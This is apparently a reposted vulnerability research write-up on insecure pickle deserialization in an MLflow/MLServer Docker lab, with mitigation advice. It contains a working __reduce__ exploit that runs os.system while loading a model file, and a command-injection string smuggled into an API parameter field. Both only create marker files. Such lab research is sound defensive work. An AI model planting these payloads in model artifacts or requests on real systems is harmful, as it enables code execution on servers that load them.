## https://sploitus.com/exploit?id=EE02C994-1234-5026-9897-8F7BF80050F5
Below is a structured, markdown-formatted vulnerability research report tailored for a GitHub repository layout (such as a `README.md` or a `security-labs` write-up). It outlines the context, architecture, reproduction steps, and remediation strategies based on your lab findings.
---
# CVE-2026-0596: Arbitrary Code Execution via Insecure Deserialization in MLflow Ecosystem
A comprehensive security research report detailing the verification, underlying mechanics, and architectural vulnerabilities associated with untrusted model loading pipelines within `mlflow==2.11.1` and `mlserver==1.3.5`.
---
## ๐ Executive Summary
This laboratory environment evaluates the runtime behavior of machine learning model-serving frameworks when parsing user-supplied input parameters and artifact metadata. While the API-facing parameter parsing boundaries of MLServer cleanly isolate raw string literals (preventing traditional operating system command injection via shell metacharacters), the underlying python runtime remains structurally vulnerable to **Insecure Deserialization** when ingesting legacy serialized object streams (`.pkl` / `pickle`).
* **Vulnerability Type:** Insecure Deserialization (CWE-502) / Arbitrary Code Execution
* **Impact:** Critical (Remote Code Execution within Container Context)
* **Affected Components:** Model ingestion, artifact download sub-systems, and `pickle`-based prediction backends.
---
## ๐ ๏ธ Lab Architecture & Setup
The reproduction environment is containerized using Docker to isolate the operating system layer and simulate a production-grade machine learning model endpoint.
### 1. Docker Environment Configuration (`Dockerfile`)
```dockerfile
FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
```
### 2. Native Model Blueprint (`generate_model.py`)
```python
import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
```
---
## ๐ฌ Vulnerability Analysis & Verification
### Test Cycle A: API Parameter Injection Boundary (Passed)
Initial testing attempted to pass shell termination payload sequences (`; touch /tmp/poc_success_marker.txt #`) through the `params` payload array of the `/invocations` REST endpoint:
```json
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
```
**Result:** **Negative.** The framework treated the payload safely as an absolute, non-evaluated string literal. This confirms that the engine abstracts input variables directly into Python memory spaces rather than dynamically synthesizing system shell arguments via a raw command wrapper.
---
### Test Cycle B: Insecure Deserialization Hook (Exploited)
Because MLflow and MLServer ingest compiled Python objects, the core risk shifts from string evaluation to object graph reconstruction. Using a custom validation script, an execution trigger was embedded directly into a simulated model stream using Pythonโs native magic optimization method (`__reduce__`).
#### 1. Exploit Vector Script (`trigger_native.py`)
```python
import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
```
#### 2. Execution & Payload Verification
The script was injected into the container sandbox environment to mimic the backend loading sequence:
```powershell
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
```
#### 3. Verification Output
Querying the isolated temporary directory of the container confirmed arbitrary code execution occurred instantly during the object allocation loop:
```powershell
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
```
---
## ๐ง Root Cause Mechanics
The issue stems from implicit trust in the model artifact storage layer. Standard Python `.pkl` / `pickle` files do not merely act as flat configuration records; they contain sequential bytecode instructions meant to reconstruct nested object properties.
When `pickle.load()` parses the dataset, it prioritizes the instruction stream given by the `__reduce__` hook. This redirects the target application to call native system binaries (`os.system`) directly in the shell environment before data type validation or machine learning inference calculations are ever initialized.
---
## ๐ก๏ธ Production Mitigation Strategies
### 1. Enforce Safe Deserialization Formats
Deprecate the use of legacy serialization layers (`pickle`, `joblib`, `marshal`) across all training and deployment pipelines. Replace them with structural, data-only constraints:
* **Safetensors (Recommended):** Restricts saved data exclusively to flat numeric arrays, completely stripping away the execution layer.
* **ONNX (Open Neural Network Exchange):** Enforces a static computation graph schema that prevents arbitrary runtime evaluation hooks.
### 2. Isolate and Sandboxing Runtimes
If your pipeline strictly requires legacy model configurations:
* Run the execution wrapper strictly under **non-root users** within the container (`USER 10001`).
* Mount file systems as **Read-Only** wherever applicable to block file creation attacks.
* Drop all container capabilities (`cap_drop: [ALL]`) and isolate the pod from networks containing sensitive metadata endpoints.